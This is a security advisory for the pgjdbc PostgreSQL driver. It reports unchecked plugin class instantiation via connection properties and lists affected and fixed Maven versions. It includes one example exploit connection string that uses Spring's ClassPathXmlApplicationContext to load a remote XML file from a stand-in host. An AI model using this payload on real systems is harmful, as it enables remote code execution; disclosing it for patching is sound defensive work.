GHSA-v7wg-cpwc-24m4

Source
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-v7wg-cpwc-24m4/GHSA-v7wg-cpwc-24m4.json
Aliases
Published
2022-02-02T00:04:20Z
Modified
2024-02-16T08:17:39.978034Z
Summary
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Details

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

References

Affected packages

Maven / org.postgresql:postgresql

Package

Name
org.postgresql:postgresql

Affected ranges

Type
ECOSYSTEM
Events
Introduced
9.4.1208
Fixed
42.2.25

Affected versions

9.*

9.4.1208
9.4.1208.jre6
9.4.1208.jre7
9.4.1209
9.4.1209.jre6
9.4.1209.jre7
9.4.1210
9.4.1210.jre6
9.4.1210.jre7
9.4.1211
9.4.1211.jre6
9.4.1211.jre7
9.4.1212
9.4.1212.jre6
9.4.1212.jre7

42.*

42.0.0
42.0.0.jre6
42.0.0.jre7
42.1.0
42.1.0.jre7
42.1.1
42.1.1.jre6
42.1.1.jre7
42.1.2
42.1.2.jre6
42.1.2.jre7
42.1.3
42.1.3.jre6
42.1.3.jre7
42.1.4
42.1.4.jre6
42.1.4.jre7
42.2.0
42.2.0.jre6
42.2.0.jre7
42.2.1
42.2.1.jre6
42.2.1.jre7
42.2.2
42.2.2.jre6
42.2.2.jre7
42.2.3
42.2.3.jre6
42.2.3.jre7
42.2.4
42.2.4.jre6
42.2.4.jre7
42.2.5
42.2.5.jre6
42.2.5.jre7
42.2.6
42.2.6.jre6
42.2.6.jre7
42.2.7
42.2.7.jre6
42.2.7.jre7
42.2.8
42.2.8.jre6
42.2.8.jre7
42.2.9
42.2.9.jre6
42.2.9.jre7
42.2.10
42.2.10.jre6
42.2.10.jre7
42.2.11
42.2.11.jre6
42.2.11.jre7
42.2.12
42.2.12.jre6
42.2.12.jre7
42.2.13
42.2.13.jre6
42.2.13.jre7
42.2.14
42.2.14.jre6
42.2.14.jre7
42.2.15
42.2.15.jre6
42.2.15.jre7
42.2.16
42.2.16.jre6
42.2.16.jre7
42.2.17
42.2.17.jre6
42.2.17.jre7
42.2.18
42.2.18.jre6
42.2.18.jre7
42.2.19
42.2.19.jre6
42.2.19.jre7
42.2.20
42.2.20.jre6
42.2.20.jre7
42.2.21
42.2.21.jre6
42.2.21.jre7
42.2.22
42.2.22.jre6
42.2.22.jre7
42.2.23
42.2.23.jre6
42.2.23.jre7
42.2.24
42.2.24.jre6
42.2.24.jre7

Maven / org.postgresql:postgresql

Package

Name
org.postgresql:postgresql

Affected ranges

Type
ECOSYSTEM
Events
Introduced
42.3.0
Fixed
42.3.2

Affected versions

42.*

42.3.0
42.3.1